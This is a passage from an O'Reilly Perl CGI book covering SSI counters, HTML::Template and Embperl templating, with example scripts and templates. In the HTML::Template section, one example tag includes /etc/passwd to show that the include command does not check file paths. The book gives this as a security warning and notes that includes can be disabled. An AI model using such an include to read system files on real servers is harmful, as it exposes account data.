We can include this tag in any SSI-enabled HTML page on our web server; each page will have its own count. We don't need to pass any variables to tell the CGI which URL we need the count for; the DOCUMENT_URI environment variable will contain the URL of the original document requested. Even though this is not a standard CGI environment variable, the additional SSI variables are provided to CGI scripts invoked via SSI.

The code behind an access counter is quite short. A Berkeley DB hash file on the server contains a count of the number of visitors that have accessed each document we're tracking. Whenever a user visits the document, the SSI directive in that document calls a CGI program that reads the numerical value stored in the data file, increments it, and outputs it. The counter is shown in Example 6-2.

Example 6-2. counter.cgi

#!/usr/bin/perl -wT

use strict;
use Fcntl;
use DB_File;

use constant COUNT_FILE => "/usr/local/apache/data/counter/count.dbm";
my %count;
my $url = $ENV{DOCUMENT_URI};
local *DBM;

print "Content-type: text/plain\n\n";

if ( my $db = tie %count, "DB_File", COUNT_FILE, O_RDWR | O_CREAT ) {
    my $fd = $db->fd;
    open DBM, "+<&=$fd" or die "Could not dup DBM for lock: $!";
    flock DBM, LOCK_EX;
    undef $db;
    $count{$url} = 0 unless exists $count{$url};
    my $num_hits = ++$count{$url};
    untie %count;
    close DBM;
    print "$num_hits\n";
} else {
    print "[Error processing counter data]\n";
}

Don't worry about how we access the hash file; we'll discuss this in Chapter 10, "Data Persistence". Note that we output the media type. You must do this for included files even though the header is not returned to the client. An important thing to note is that a CGI program called by an SSI directive cannot output anything other than text because this data is embedded within the document that invoked the directive. As a result, it doesn't matter whether you output a content type of text/plain or text/html, as the browser will interpret the data with the media type of the calling document. Needless to say, your CGI program cannot output graphic images or other binary data.

6.2.7. Common Errors

There are a few common errors that you can make when using server side includes. First, you should not forget the #:

<!--echo var="REMOTE_USER" -->

Second, do not add extra spaces between the preceding <!-- and #:

<!-- #echo var="REMOTE_USER" -->

Finally, if you do not enclose the value of the final attribute in quotes, you may need to insert an additional space before the trailing -->. Otherwise, the SSI parser may interpret those characters as part of the attribute's value:

<!--#echo var=REMOTE_USER-->

Generally it is simpler and clearer to use quotes.

If you make either of the first two mistakes, the server will not recognize the SSI command and will pass it on as an HTML comment. In the last case, the command will probably be replaced with an error message.

Previous | Home | Next
6. HTML Templates | Book Index | 6.3. HTML::Template
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTML::Template (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

6.3. HTML::Template

SSI is quite powerful, but it does have limitations. Its advantages are that it is efficient and simple enough for HTML designers without programming experience to use. The disadvantages are that it only has a handful of commands, and it only parses static documents. HTML::Template is a simple template parser that addresses both of these issues while still maintaining a simple interface.

6.3.1. Syntax

HTML::Template actually has fewer commands than SSI, but because the value of its variable tags can be set to anything by a CGI script, it is more flexible. While it's true that an SSI document can include CGI output, this becomes unwieldy if a page includes several complex components that must each execute a CGI script. HTML::Template supports complex templates with the execution of a single CGI script.

Let's look at a very simple example that displays the current date and time. Example 6-3 shows the template file.

Example 6-3. current_time.tmpl

<HTML>

<HEAD>
  <TITLE>Current Time</TITLE>
</HEAD>

<BODY BGCOLOR="white">
  <H1>Current Time</H1>
  <P>Welcome. The current time is <TMPL_VAR NAME="current_time">.</P>
</BODY>
</HTML>

This is a standard HTML file with one added tag: <TMPL_VAR NAME="current_date" >. HTML::Template's commands can be formatted like standard HTML tags or as comments. The following is also acceptable:

<!-- TMPL_VAR NAME="current_date" -->

This alternate syntax makes the commands easier to input into HTML editors that may be restrictive about the tags they allow. In order to use this template, we must create a CGI script that is the target of the request. The code for this is shown in Example 6-4.

Example 6-4. current_time.cgi

#!/usr/bin/perl -wT

use strict;
use HTML::Template;

use constant TMPL_FILE => "$ENV{DOCUMENT_ROOT}/templates/current_time.tmpl";

my $tmpl = new HTML::Template( filename => TMPL_FILE );
my $time = localtime;

$tmpl->param( current_time => $time );

print "Content-type: text/html\n\n",
      $tmpl->output;

We create a constant called TMPL_FILE that points to the template file we will use. We then create an HTML::Template object, assign a parameter, and output it. Most tags have a NAME attribute; this value of this attribute corresponds to a parameter set by a CGI script via HTML::Template's param method, which (by design) works much like CGI.pm's param method. In fact, you can import parameters from CGI.pm when you create a HTML::Template object:

my $q    = new CGI;
my $tmpl = new HTML::Template( filename  => TMPL_FILE,
                               associate => $q );

This loads all of the form parameters that your CGI script just received; you can of course still use the param method to add additional parameters or override those loaded from CGI.pm.

HTML::Template's commands are summarized in Table 6-4.

Table 6-4. Commands Available in HTML::Template

Element | Attribute | Description
TMPL_VAR | NAME="param_name" | This tag is replaced by the value of the parameter param_name; has no closing tag.
 | ESCAPE="HTML|URL" | If this is set to "HTML", then the value substituted for this tag is HTML escaped (e.g., " will be replaced by &quot;, etc.); "URL" will encode the value for URLs. No escaping is done if this is set to or omitted.
TMPL_LOOP | NAME="param_name" | Loops over content between its opening and closing tags for each item in the array that corresponds to param_name, see below.
TMPL_IF | NAME="param_name" | Content within this tag is omitted unless the parameter param_name is true.
TMPL_ELSE |  | This reverses the condition for the remaining content within a TMPL_IF or TMPL_UNLESS tag.
TMPL_UNLESS | NAME="param_name" | The reverse of TMPL_IF. Content within this tag is omitted unless the parameter param_name is false.
TMPL_INCLUDE | NAME="/file/path" | Includes the contents of another file; has no closing tag.

Only the TMPL_LOOP, TMPL_IF, and TMPL_UNLESS commands have opening and closing tags; the others are single tags (like <HR> or <BR>).

6.3.1.1. Loops

One of the most convenient features that HTML::Template offers is the ability to create loops. The previous example didn't take advantage of this, so let's look at a more complex example. HTML::Template requires an array of hashes for loops. It loops over each element in the array and creates variables corresponding to the hash keys. You can visualize this structure as a table, as in Table 6-5, which can be represented in Perl as an array of hashes, as in Example 6-5.

Table 6-5. A Sample Table of Data

Name | Location | Age
Mary | Minneapolis | 37
Fred | Chicago | 24
Martha | Orlando | 51
Betty | Los Angeles | 19
... | ... | ...

Example 6-5. A Perl Data Structure Corresponding to Table 6-5

@table = (
    { name     => "Mary",
      location => "Minneapolis",
      age      => "37" },
    { name     => "Fred",
      location => "Chicago",
      age      => "24" },
    { name     => "Martha",
      location => "Orlando",
      age      => "51" },
    { name     => "Betty",
      location => "Los Angeles",
      age      => "19" },
    ...
);

Example 6-6 contains a script that will display all of the standard colors available on systems that support the X Window system.

Example 6-6. xcolors.cgi

#!/usr/bin/perl -wT

use strict;
use HTML::Template;

my $rgb_file = "/usr/X11/lib/X11/rgb.txt";
my $template = "/usr/local/apache/templates/xcolors.tmpl";

my @colors   = parse_colors( $rgb_file );

print "Content-type: text/html\n\n";
my $tmpl = new HTML::Template( filename => $template );

$tmpl->param( colors => \@colors );
print $tmpl->output;

sub parse_colors {
    my $path = shift;
    local *RGB_FILE;
    open RGB_FILE, $path or die "Cannot open $path: $!";

    while (<RGB_FILE>) {
        next if /^!/;
        chomp;
        my( $r, $g, $b, $name ) = split;

        # Convert to hexadecimal #RRGGBB format
        my $rgb = sprintf "#%0.2x%0.2x%0.2x", $r, $g, $b;

        my %color = ( rgb => $rgb, name => $name );
        push @colors, \%color;
    }

    close RGB_FILE;
    return @colors;
}

This CGI script uses the rgb.txt file that is typically found on X Window systems at /usr/X11/lib/X11/rgb.txt. This file contains a list of colors along with their 8-bit values for red, green, and blue:

! $XConsortium: rgb.txt,v 10.41 94/02/20 18:39:36 rws Exp $
255 250 250	    snow
248 248 255	    ghost white
248 248 255	    GhostWhite
245 245 245	    white smoke
245 245 245	    WhiteSmoke
...

We read the red, green, and blue values and convert them to the hexadecimal equivalent that is used on HTML pages (e.g., #336699). We create a separate hash for each color with an entry for the RGB value and the name of the color. Then we add each hash to the array @colors. We need to pass only @colors as a parameter to HTML::Template, which we can use as a loop variable within our HTML template. Within the loop, we have access to the "rgb" and "name" elements of our hashes, as shown in Example 6-7.

Example 6-7. xcolors.tmpl

<HTML>

<HEAD>
  <TITLE>X11 Color Viewer</TITLE>
</HEAD>

<BODY BGCOLOR="white">
<DIV ALIGN="center">
  <H1>X11 Color Viewer</H1>
  <HR>

  <TABLE BORDER="1" CELLPADDING="4" WIDTH="400">
    <TMPL_LOOP NAME="colors">
      <TR>
        <TD BGCOLOR="<TMPL_VAR NAME="rgb">">
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD>
        <TD><TMPL_VAR NAME="name"></TD>
      </TR>
    </TMPL_LOOP>
  </TABLE>
</DIV>
</BODY>
</HTML>

This loop structure is flexible enough to allow us to display other forms of data, such as hashes. Example 6-8 lists a CGI script that generates all of the environment variables and their values.

Example 6-8. env_tmpl.cgi

#!/usr/bin/perl -wT

use strict;
use HTML::Template;

use constant TMPL_FILE => "$ENV{DOCUMENT_ROOT}/templates/env.tmpl";

my $tmpl = new HTML::Template( filename => TMPL_FILE,
                               no_includes => 1 );
my @env;

foreach ( sort keys %ENV ) {
    push @env, { var_name => $_, var_value => $ENV{$_} };
}

$tmpl->param( env => \@env );

print "Content-type: text/html\n\n",
      $tmpl->output;

HTML::Template has no facility for handling hashes directly, but because it will loop over arrays of hashes, we build a hash for each pair in %ENV and add it to an array, @env. We then pass a reference to @env as a parameter to our HTML::Template object and output the parsed file. Our template file is shown in Example 6-9.

Example 6-9. env.tmpl

<HTML>

<HEAD>
  <TITLE>Environment Variables</TITLE>
</HEAD>

<BODY BGCOLOR="white">
  <TABLE BORDER="1">
    <TMPL_LOOP NAME="env">
      <TR>
        <TD><B><TMPL_VAR NAME="var_name"></B></TD>
        <TD><TMPL_VAR NAME="var_value"></TD>
      </TR>
    </TMPL_LOOP>
  </TABLE>

</BODY>
</HTML>

Note that we called param once, even though there are three different HTML::Template tags in this file. The var_name and var_value variables were set because they corresponded to hash keys within the @env array.

6.3.1.2. Conditionals

HTML::Template offers two ways to create a conditional just like Perl: TMPL_IF and TMPL_UNLESS. You can use these to include or omit particular portions of your HTML template. Both tags take a NAME attribute that corresponds to a parameter, just like previous tags, which is evaluated in a boolean context. There is no way to create expressions to evaluate within your templates, since the goal is to keep templates simple. Note also that you do not always have to set a separate parameter in order to use these tags. For example, you could include a block like this in your document:

<TMPL_IF NAME="secret_msg" >
  <P>Psst, here's your secret message: <TMPL_VAR NAME="secret_msg">.</P>
</TMPL_IF>

Here the same parameter is used in both the TMPL_IF and TMPL_VAR commands. If there is a secret message, it is displayed. If there isn't (i.e., if it is an empty string), then nothing is displayed instead.

You can also use loop parameters as conditions. If the loop parameter contains any values, it returns true; otherwise it returns false. This is useful for displaying search results when there are no matches:

<P>Here are the results of your query:</P>

<TABLE>
  <TR>
    <TH>Software Title</TH></TR>
    <TH>Home Page</TH></TR>
  </TR>

 <TMPL_LOOP NAME="results">
  <TR>
    <TD><TMPL_VAR NAME="sw_title"></TD>
    <TD><A HREF="<TMPL_VAR NAME="url">"><TMPL_VAR NAME="sw_url"></A></TD>
  </TR>
 </TMPL_LOOP>

 <TMPL_UNLESS NAME="results">
  <TR>
    <TD COLSPAN="2">
      No software titles match your query.
    </TD>
  </TR>
 </TMPL_UNLESS>

</TABLE>

In this example, a user is searching for software according to some criteria. If the query matches any titles, then the name and home page of the titles are displayed on separate rows in a table. If no rows match, then the script says this instead. This template gives the interface designer full control over how the results are presented to the user without being too complicated to understand.

6.3.1.3. Including other files

The final command, TMPL_INCLUDE, includes the content of other files in your template. The content of these files is included before loops and variables are parsed, so you can include files that contain loop and variable tags (or even other include tags). This is similar to the SSI include command, except there is no ability to provide a virtual path to the file; you must provide a filesystem path. HTML::Template does no validation that the file is within the document root, so an HTML developer could easily include the following statement in a file and HTML::Template would act accordingly:

<TMPL_INCLUDE NAME="/etc/passwd" >

This is not as serious a security issue as it might appear, since an HTML designer could always copy the contents of /etc/passwd into an HTML file manually or create a symbolic link to it. However, this potential is something you should be aware of. You can disable includes entirely with the no_includes option when you create an HTML::Template object.

6.3.2. Summary

HTML::Template is certainly a very elegant solution for projects where the roles of HTML designers and developers are clearly separated. HTML::Template has only been available a short while but has matured quickly. It also offers more advanced features including caching output that we haven't discussed. The features we discussed are accurate as of Version 1.7, but new features are still being added, so check the documentation for more information. You can find HTML::Template on CPAN; for the latest information, including information on the mailing list and CVS, consult the online documentation.

Previous | Home | Next
6.2. Server Side Includes | Book Index | 6.4. Embperl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Embperl (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

6.4. Embperl

SSI and HTML::Template are simple template solutions that allow you to add basic tags to static and dynamic HTML files. The HTML::Embperl module, often referred to simply as Embperl, takes a different approach; it parses HTML files for Perl code, allowing you to shift your code into your HTML documents. This approach is similar to Java Server Pages or Microsoft's ASP technology that moves programming languages into documents. There are actually several modules available for embedding Perl within HTML documents, including Embperl, ePerl, HTML::EP, HTML::Mason, and Apache::ASP. We'll look at Embperl and Mason in this chapter.

The theory behind moving code into HTML pages is somewhat different from the standard reason for using HTML templates. Both strategies attempt to separate the interface from the program logic, but they draw the lines at different places (see Figure 6-2). Basic template solutions like HTML::Template draw the line between HTML and all code, at least as much as possible. For Embperl and similar solutions, the logic for creating the page is folded into the HTML for the page, but common business rules are collected into modules that can be shared across pages. Business rules are those core elements of your application or applications that are separate from the interface, data management, etc. Of course, in practice not everyone creates as many modules as the model suggests, and you can create modules like this with any of the approaches (as the dotted lines suggest). Thus, the model for complex template solutions like Embperl and ASP often end up looking like CGI.pm, except that instead of including HTML in the code, the code is included in the HTML. This isn't a bad thing, of course. Both CGI.pm and Embperl are excellent solutions for tying together HTML and program code, and you should choose whatever solution makes the most sense to you for each project. The point is simply that those who argue about the different approaches of using CGI.pm versus templates sometimes are not as far apart as they may seem; the extremes of each seem more alike than different.[8]

[8]Jason Hunter (author of Java Servlet Programming from O'Reilly & Associates) made a similar argument from a Java perspective. His article, "The Problem with JSP," is available at http://www.servlets.com/soapbox/problems-jsp.html.

Figure 6-2. Approaches for separating interfaces from code

6.4.1. Configuration

Embperl can be used in a variety of ways. You can call Embperl from your CGI scripts and have it parse a template file, just as you would with HTML::Template. In this mode, it simply gives you much more power than the latter since you can include full Perl expressions in the template (at the expense of making your templates more complex). However, because you have the entire Perl language at your disposal inside your template files, it really isn't necessary to have an additional CGI script initiate the request. Thus, Embperl can be configured as a handler so that your template files can become the target of HTTP requests; this works similar to the way that the SSI handler allows .shtml files to be the target for HTTP requests.

Embperl can also be used with or without mod_perl. It is optimized for mod_perl, but it is written in C as well as Perl, so the compiled C code does run faster than a comparable Perl module would if you are not using mod_perl.

6.4.1.1. Execute

To call Embperl from your CGI scripts, use its Execute function and pass it the path to the template along with any parameters to use when parsing the template. For example,

my $template = "/usr/local/apache/htdocs/templates/welcome.epl";
HTML::Embperl::Execute( $template, $time, $greeting );

This parses welcome.epl, using the values of $time and $greeting as parameters, and writes the result to STDOUT. Note that we called the function as HTML::Embperl::Execute and not simply Execute. Embperl doesn't export any symbols, nor is it an object-oriented module. Thus, you must fully qualify the Execute function.

You can also call Execute and pass it a reference to a hash with named parameters. This gives you more options when using Embperl. For example, you can read the template input from a scalar variable instead of a file and you can write the output to a file or a variable instead of STDOUT.

Here is how we can parse the welcome.epl template and write the result to welcome.html:

my $template = "/usr/local/apache/htdocs/templates/welcome.epl";
my $output   = "/usr/local/apache/htdocs/welcome.html";

HTML::Embperl::Execute( { inputfile  => $template,
                          param      => [ $time, $greeting ],
                          outputfile => $output } );

Embperl also has options to cache compiled versions of pages when used with mod_perl. Refer to the Embperl documentation for the full list of parameters.

6.4.1.2. mod_perl

If you are using mod_perl, you would register Embperl as a handler by adding the following to httpd.conf (or srm.conf if used):

<Files *.epl>
    SetHandler  perl-script
    PerlHandler HTML::Embperl
    Options     ExecCGI
</files>
AddType text/html .epl

Then any file that has a .epl suffix will be parsed and executed by Embperl.

6.4.1.3. embpcgi.pl

If you aren't using mod_perl but want your Embperl files to handle requests directly without a CGI script, you can also use the embpcgi.pl CGI script that is distributed with Embperl. You place this script in your CGI directory and pass it the URL of the file to parse as part of its path info. For example, you might have a template file in the following path:

/usr/local/apache/htdocs/templates/welcome.epl

To have Embperl handle this file via embpcgi.pl, you would use the following URL:

http://localhost/cgi/embpcgi.pl/templates/welcome.epl

As a security feature, embpcgi.pl will only handle files that are located within your web server's document root. This prevents someone from trying to get at important files like /etc/passwd. Unfortunately, this means that people can attempt to access your Embperl file directly. For example, someone could view the source to our welcome.epl file with the following URL:

http://localhost/templates/welcome.epl

Allowing people to view the source code of executable files on your web server is not a good idea. Thus, if you use embpcgi.pl, you should create a standard directory where you will store your Embperl templates and disable direct access to these files. Here is how you would do this for Apache. Add the following directives to httpd.conf (or access.conf if used) to disable access to any file below the directory named templates:

<Location /templates>
  deny from all
</Location>

This works by denying access to this directory (and any subdirectories) to all HTTP request from all web clients.

6.4.2. Syntax

Some HTML editors restrict authors from including tags that they do not recognize as proper HTML tags. This can be a problem when using these editors to create HTML templates that often have their own style of custom tags. Embperl was created with this in mind. It does not use commands that resemble HTML tags so you can enter code as text in WYSIWYG editors. Embperl will also interpret any characters that have been HTML encoded (such as &gt; instead of >) and remove extraneous tags (such as &nbsp; and <BR>) within Perl code before that code is evaluated.

6.4.2.1. Embperl code blocks

In an Embperl document, Perl commands are surrounded by a bracket plus another character, which we will refer to as a bracket pair. As an example, [+ is a starting bracket pair and +] is an ending bracket pair. Embperl supports a number of bracket pairs and treats the contents differently for each. Example 6-10 provides a simple Embperl document that uses most of them.

Example 6-10. simple.epl

<HTML>
<HEAD>
  <TITLE>A Simple Embperl Document</TITLE>
</HEAD>

<BODY BGCOLOR="white">
<H2>A Simple Embperl Document</H2>

[- $time = localtime -]

<P>Here are the details of your request at [+ $time +]:</P>

<TABLE>
  <TR>
    <TH>Name</TH>
    <TH>Value</TH>
  </TR>

  [# Output a row for each environment variable #]
  [$ foreach $varname ( sort keys %ENV ) $]
    <TR>
      <TD><B>[+ $varname +]</B></TD>
      <TD>[+ $ENV{$varname} +]</TD>
    </TR>
  [$ endforeach $]

</TABLE>

</BODY>
</HTML>

Embperl recognizes blocks of code within the following bracket pairs:

[+ ... +]

These brackets are typically used for variables and simple expressions. Embperl executes the enclosed code and replaces it with the result of the last expression evaluated. This is evaluated in a scalar context, so something like this:

[+ @a = ( 'x', 'y', 'z' ); @a +]

yields an output of "3" (the number of elements in the array) and not "xyz" or "x y z".

[- ... -]

These brackets are used for most of your program logic such as interfacing with outside modules, assigning values to variables, etc. Embperl executes the enclosed code and discards the result.

[! ... !]

These brackets are used with subroutines declarations and other code that needs to be initialized only once. Embperl treats these bracket pairs just like [- ... -] except that it only executes the enclosed code once. This distinction is most relevant to with mod_perl: because Embperl stays resident between HTTP requests, having code run once means once per the life of the web server child, which may handle a hundred requests (or more). With CGI, code within this block is only executed once per request. These bracket pairs were introduced in Embperl 1.2.

[$ ... $]

These brackets are used with Embperl's meta-commands, such as the foreach and endforeach control structure we used in our example. Embperl's meta-commands are listed in Table 6-6 later in this chapter.

[* ... *]

These brackets are used when working with local variables and for Perl control structures. Embperl treats this like [- ... -] except that it executes all the code in the these blocks in a common scope (sort of, see the Section 6.4.2.2, "Variable scope" subsection below). This allows code within these blocks to share local variables. They can also contain Perl control structures. Instead of using Embperl's meta-commands as control structures, we could have used Perl's foreach loop instead of Embperl's to create the table in our previous example:

[# Output a row for each environment variable #]
  [* foreach $varname ( sort keys %ENV ) { *]
    <TR>
      <TD><B>[+ $varname +]</B></TD>
      <TD>[+ $ENV{$varname} +]</TD>
    </TR>
  [* } *]

The difference is brackets versus meta-command blocks. Note that code within [* and *] must end with a semicolon or a curly bracket, and these blocks are evaluated even inside Embperl comment blocks (see below). These bracket pairs were introduced in Embperl 1.2.

[# ... #]

These brackets are used for comments. Embperl ignores and strips anything between these bracket pairs so the contents do not end up in the output sent to the client. These can also be used to remove large sections of HTML or code during testing, but unfortunately this does not work for code within [* ... *], since these blocks are evaluated first. These bracket pairs were introduced in Embperl 1.2.

Because blocks begin with [ in Embperl, you must use [[ if you need to output the [ character in your HTML. There is no need to escape ] or other characters. Also, Embperl ties STDOUT to its output stream so you can use print within Embperl blocks and it will behave correctly.

6.4.2.2. Variable scope

Each block of code within a set of bracket pairs is evaluated as a separate block within Perl. This means that each one has a separate variable scope. If you declare a lexical variable (a variable declared with my) in one block, it will not be visible in another block. In other words, this will not work:

[- my $time = localtime -]
<P>The time is: [+ $time +].</P>

The result is roughly analogous to the following in Perl:

&{sub { my $time = localtime }};
print "<P>The time is: " . &{sub { $time }} . ".</P>";

Similarly, pragmas that depend on scope such as use strict will only affect the current block of code. To enable the strict pragma globally, you must use the var meta-command (see Table 6-6).

The [* ... *] blocks are a little different. They all share a common scope so local variables (variables declared with local) can be shared between them. However, lexical variables still can not. This does not mean that you should entirely abandon declaring your variables with my in Embperl.

Lexical variables are still useful as temporary variables that you only need within a particular block. Using lexical variables for temporary variables is more efficient than using global variables because they are reclaimed by Perl as soon as the surrounding block ends. Otherwise, they persist until the end of the HTTP request. Under CGI, of course, all global variables are cleaned up at the end of the request because perl exits. However, even when running under mod_perl, by default Embperl undefines all global variables created within the scope of your pages at the end of each HTTP request.

6.4.2.3. Meta-commands

Embperl offers several meta-commands for creating control structures plus other miscellaneous functions shown in Table 6-6. The parentheses shown with some of the control structures are optional in Embperl, but including them can make these commands clearer and look more like Perl's corresponding control structures.

Table 6-6. Embperl's Meta-commands

Meta-command

Description

[$ foreach $loop_var ( list ) $]

Similar to Perl's foreach control structure, except $loop_var is required.

[$ endforeach $]

Indicates the end of a foreach loop.

[$ while ( expr ) $]

Similar to Perl's while control structure.

[$ endwhile $]

Indicates the end of a while loop.

[$ do $]

Indicates the beginning of an until loop.

[$ until ( expr ) $]

Similar to Perl's until control structure.

[$ if ( expr ) $]

Similar to Perl's if control structure.

[$ elsif ( expr ) $]

Similar to Perl's elsif control structure.

[$ else $]

Similar to Perl's else control structure.

[$ endif $]

Indicates the end of an if conditional.

[$ sub subname $]

This allows you to treat a section containing both HTML and Embperl blocks as a subroutine that can be called as a normal Perl subroutine or via Embperl's Execute function.

[$ endsub $]

Indicates the end of a sub body.

[$ var $var1 @var2 %var3 ... $]

This command is equivalent to the following in a Perl script:

use strict;
use vars qw( $var1 @var2 %var3 ... );

Your pages will be more efficient if you use this, especially when running with mod_perl. Remember, however, that if you do, you must declare every variable here that is shared between Embperl blocks because of the scope restriction (see Section 6.4.2.2, "Variable scope", earlier).

[$ hidden [ %input %used ] $]

This generates hidden fields for all elements in the first hash that are not in the second hash. Both hashes are optional, and one typically uses Embperl's default, which are %fdat and %idat. %fdat contains the name and values of the fields the user submitted, and %idat contains the names and values of the fields that have been used as elements in the current form (see Section 6.4.4, "Global Variables", later).

6.4.3. HTML Logic

Embperl monitors and responds to HTML as it is output. You can have it construct tables and prefill form elements for you automatically.

6.4.3.1. Tables

If you use the $row, $col, or $cnt variables in code within a table, Embperl will loop over the contents of the table, dynamically build the table for you, and set these variables to the current row index, the current column index, and the number of cells output, respectively, with each iteration. Embperl interprets the variables as follows:

  • If $row is present, everything between <TABLE> and </TABLE> is repeated until the expression containing $row is undefined. Rows consisting entirely of <TH> ... </TH> cells are considered headers and are not repeated.

  • If $col is present, everything between <TR> and </TR> is repeated until the expression containing $col is undefined.

  • $cnt is used in the same manner for either rows or columns if it is present and $row or $col are not.

Let's look at an example. Because $row and $col are set to the index of the current row and column, they are typically used as array indices when building tables, as shown here:

[- @sports = ( [ "Windsurfing", "Summer",   "Water"    ],
               [ "Skiing",      "Winter",   "Mountain" ],
               [ "Biking",      "All Year", "Hills"    ],
               [ "Camping",     "All Year", "Desert"   ] ); -]
<TABLE>
  <TR>
    <TH>Sport</TH>
    <TH>Season</TH>
    <TH>Terrain</TH>
  </TR>
  <TR>
    <TD>[+ $sports[$row][$col] +]</TD>
  </TR>
</TABLE>

The previous code will create the following table:

<TABLE>
  <TR>
    <TH>Sport</TH>
    <TH>Season</TH>
    <TH>Terrain</TH>
  </TR>
  <TR>
    <TD>Windsurfing</TD>
    <TD>Summer</TD>
    <TD>Water</TD>
  </TR>
  <TR>
    <TD>Skiing</TD>
    <TD>Winter</TD>
    <TD>Mountain</TD>
  </TR>
  <TR>
    <TD>Biking</TD>
    <TD>All Year</TD>
    <TD>Hills</TD>
  </TR>
  <TR>
    <TD>Camping</TD>
    <TD>All Year</TD>
    <TD>Desert</TD>
  </TR>
</TABLE>

6.4.3.2. List elements

If you use $row within a list or select menu, Embperl will repeat each element until $row is undefined, just as it does with tables. For select menus, Embperl will also automatically check options that match name and value pairs in %fdat and add names and values to %idat (see below).

6.4.3.3. Form input elements

Outputting input and text area tags with Embperl is similar to outputting these tags with CGI.pm: if you create an element with a name matching an existing parameter, the value of the parameter is filled in by default. When an element is created, Embperl checks whether the name of that element exists within the %fdat hash (see below); if it does, then its value is automatically filled in. Also, as HTML elements are generated, Embperl adds the name-value (if given) to %idat.

6.4.4. Global Variables

Embperl defines a number of global variables that you can use within your templates. Here is a list of the primary variables:

%ENV

This should look familiar. Embperl sets your environment variables to match standard CGI environment variables when running under mod_perl.

%fdat

This contains the name and value of all form fields that have been passed to your CGI script. Embperl, like CGI.pm, does not distinguish between GET and POST requests and loads parameters from either the query string or the body of the request as appropriate. If an element has multiple values, these values are separated by tabs.

%idat

This contains the name and value of the form fields that have been created on the current page.

%mdat

This is only available when running under mod_perl with the Apache::Session module. You can use this hash to store anything and it will be available to every future request for the same page, even if those requests are to different httpd child processes.

%udat

This is only available when running under mod_perl with the Apache::Session module. You can use this hash to store anything and it will be available to any future request made by the same user. This sends a HTTP cookie to the user, but no cookies are sent if this hash is not used in your code. See Section 11.3, "Client-Side Cookies".

@param

If you use the Execute function to invoke Embperl pages, the parameters you supply are available to your page via this variable.

6.4.5. Example

Let's look at an example of using Embperl. For our example, we will create a basic "What's New" section that displays the headlines of recent stories. If users click on a headline, they will be able to read the story. This in itself isn't that impressive, but we will create administrative pages that make it very simple for someone administering the site to add, delete, and edit news stories.

There are a total of four pages to our application, the "What's New" page that displays current headlines; an article page where users can read a story; a main administrative page that lists the current headlines and provides buttons for adding, deleting, and editing stories; and an administrative page that provides a form for entering a headline and article body, which is used for both editing existing stories as well as creating new stories. These pages are shown later in Figure 6-3 through Figure 6-6.

6.4.5.1. Embperl handler

Traditional Embperl solutions use .epl files as the target of our requests. This example will work either via mod_perl or embpcgi.pl.

Let's look at the main "What's New" page first. The code for news.epl is shown in Example 6-11.

Example 6-11. news.epl

<HTML>

[!
  use lib "/usr/local/apache/lib-perl";
  use News;
!]
[- @stories = News::get_stories(  ) -]

<HEAD>
  <TITLE>What's New</TITLE>
</HEAD>

<BODY BGCOLOR="white">
<H2>What's New</H2>

<P>Here's the latest news of all that's happening around here.
  Be sure to check back often to keep up with all the changes!</P>

<HR>

<UL>
  <LI>
    [- ( $story, $headline, $date ) = @{ $stories[$row] } if $stories[$row] -]
    <A HREF="article.epl?story=[+ $story +]">[+ $headline +]</A>
    <I>[+ $date +]</I>
  </LI>
</UL>

[$ if ( !@stories ) $]
  <P>Sorry, there aren't any articles available now. Please check
    back later!</P>
[$ endif $]

</BODY>
</HTML>

The result looks like Figure 6-3.

Figure 6-3. The main "What's New" page presented to users

Embperl programs are much easier to read and maintain if you reduce the amount of Perl that is included in the HTML. We do this by moving much of our code into a common module, News.pm, which we place in /usr/local/apache/perl-lib.

We'll look at the News module in a moment, but let's finish looking at news.epl first. We call the News module's get_stories function. This returns an array of stories with each element of the array containing a reference to an array of the story number, its headline, and the date it was written.

Thus, within our unordered list later in the file, we loop over each story using Embperl's special $row variable and extract these elements of each story to the $story, $headline, and $date variables. Embperl will loop and create a list item until the expression containing $row evaluates to an undefined value. We then use these variables to build a link to a story as a list element.

If there are no stories, then we print a message telling the user this. That's all there is to this file. Example 6-12 shows a relevant section of the News module.

Example 6-12. News.pm (part 1 of 3)

#!/usr/bin/perl -wT

package News;
use strict;

use Fcntl qw( :flock );

my $NEWS_DIR = "/usr/local/apache/data/news";

1;

sub get_stories {
    my @stories = (  );
    local( *DIR, *STORY );

    opendir DIR, $NEWS_DIR or die "Cannot open $NEWS_DIR: $!";
    while ( defined( my $file = readdir DIR ) ) {
        next if $file =~ /^\./;       # skip . and ..
        open STORY, "$NEWS_DIR/$file" or next;
        flock STORY, LOCK_SH;
        my $headline = <STORY>;
        close STORY;
        chomp $headline;
        push @stories, [ $file, $headline, get_date( $file ) ];
    }
    closedir DIR;
    return sort { $b->[0] <=> $a->[0] } @stories;
}

# Returns standard Unix timestamp without the time, just the date
sub get_date {
    my $filename = shift;
    ( my $date = localtime $filename ) =~ s/ +\d+:\d+:\d+/,/;
    return $date;
}

We store the path to the news directory in $NEWS_DIR. Note that we use a lexical variable here instead of a constant because if this script is used with mod_perl, as is often the case with Embperl, using constants can generate extra messages in the log file. We'll discuss why this happens in Section 17.3, "mod_perl".

The format for our article files is rather basic. The first line is the headline, and all following lines are the body of the article, which should contain HTML formatting. The files are named according to the time that they are saved, using the result of Perl's time function -- the number of seconds after the epoch.

For the sake of this example we will assume that there is only one administrator who has access to create and edit files. If this were not the case, we would need to create a more elaborate way to name the files to prevent two people from creating stories at the same second. Plus, we would need to create a system to avoid having two administrators edit the same file at the same time; one way to do this would be to have the edit page retrieve the current time into a hidden field when it loads a file for editing, which could then be compared against the last modification time of the file when the file is saved. If the file has been modified since it was loaded, a new form would need to be presented to the administrator showing both sets of changes so they can be reconciled.

The get_stories function opens this news directory and loops through each file. It skips any files starting with a dot, including the current and parent directories. If we encounter any system errors reading directories we die; if we have problems reading a file, we skip it. Filesystem errors are not common, but they can happen; if you wish to generate a more friendly response to the user than a cryptic 500 Internet Service Error, use CGI::Carp with fatalsToBrowser to catch any die calls.

We get a shared lock on the file to make sure that we are not reading a file that is in the process of being written by the administrator. Then we read the story's headline and add the story's file number, headline, and date created to our list of stories. The get_date function simply generates a Unix timestamp from the file number via Perl's localtime function. That looks like this:

Sun Feb 13 17:35:00 2000

It then replaces the time with a comma in order to get a basic date that looks like this:

